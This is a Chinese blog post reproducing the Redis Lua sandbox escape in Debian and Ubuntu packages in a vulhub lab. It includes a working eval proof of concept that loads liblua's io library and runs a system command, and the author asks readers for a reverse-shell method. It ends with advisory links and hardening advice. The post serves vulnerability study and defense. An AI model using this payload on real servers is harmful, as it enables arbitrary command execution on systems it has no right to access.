大柚子

这世界不过如此

注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。

概述

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

影响版本

  • Debian
  • Ubuntu

复现过程

这里使用vulhub搭建的漏洞环境

漏洞启动后,使用redis-cli -h 192.168.52.134连接redis服务器(注:漏洞利用需要先登录,或者存在未授权访问)

漏洞POC:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

注:不同环境下的liblua库路径不同,需要指定一个正确的路径。在Vulhub环境(Ubuntu fiocal)中,这个路径是

/usr/lib/x86_64-linux-gnu/liblua5.1.so.0

关于反弹shell,暂未找到合适方法,希望有大佬带带。

应急响应

redis服务器默认日志级别为notice,故不会记录相关访问登录日志,无日志排查。

加固建议

  • Ubuntu:https://ubuntu.com/security/notices/USN-5316-1
  • Debian:https://www.debian.org/security/2022/dsa-5081
  • 设置账号密码,非必要不开放公网
Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。